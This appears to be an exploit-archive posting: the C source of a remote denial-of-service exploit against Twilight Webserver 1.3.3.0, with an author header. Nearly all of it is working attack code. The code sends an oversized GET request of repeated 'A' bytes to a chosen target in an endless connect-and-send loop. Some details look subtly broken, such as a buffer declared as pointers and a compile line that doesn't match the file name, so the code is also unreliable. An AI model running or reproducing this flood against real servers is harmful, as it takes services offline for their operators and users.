Twilight Webserver 1.3.3.0 (GET) Remote Denial of Service Exploit

/**************************************************************************** *      Denial of Service Attack against Twilight Webserver v1.3.3.0 *       Author: H0tTurk- *      *      WebSite: http://www.twilightutilities.com *       Version: Twilight Webserver v1.3.3.0 $24.95 USD *       NewVersion: Tw 2.1 *       *       Exploit: tw.c *       Compile: gcc twilight -o tw *       Contact: *       [-] Mail: hotturk@mynet.com *       [-] Web: http://www.ayyildiz.org *       [-] MSN: h0tturk@h0tturk.com *****************************************************************************/ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> int main(int argc, char *argv[]) {         int sockfd;         struct sockaddr_in srv;         struct hostent *host;         char send[1052], *flood[1037], get[3] = "GET", http[12] = "HTTP/1.0\r\n";         memset(flood, 0x41, 1037);                 strncpy(send, get, sizeof(send) -1);         strncat(send, flood, sizeof(send) - strlen(send) -1);         strncat(send, http, sizeof(send) - strlen(send) -1);                 if(argc < 3)         {                 printf("Usage: %s [target] <port>\n", argv[0]);                 exit(0);         }         if((host = gethostbyname(argv[1])) == NULL)         {                       printf("Unknown host!\n");                 exit(0);         }                 srv.sin_family = AF_INET;         srv.sin_port = htons(atoi(argv[2]));         srv.sin_addr.s_addr = inet_addr((char*)argv[1]);         printf("h0t against Twilight Webserver v1.3.3.0\n");         for(;;)         {                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)                 {                         printf("Can't start socket()!\n"); exit(0);                 }                         if(connect(sockfd,(struct sockaddr*)&srv, sizeof(srv)) < 0)                 {                         printf("Connection to server broken!\n"); close(sockfd);                 }                         if(write(sockfd, send, strlen(send)) < 0)                 {                         break;                 }                         close(sockfd);         }                 printf("Attack done!...\n");                 return 0; }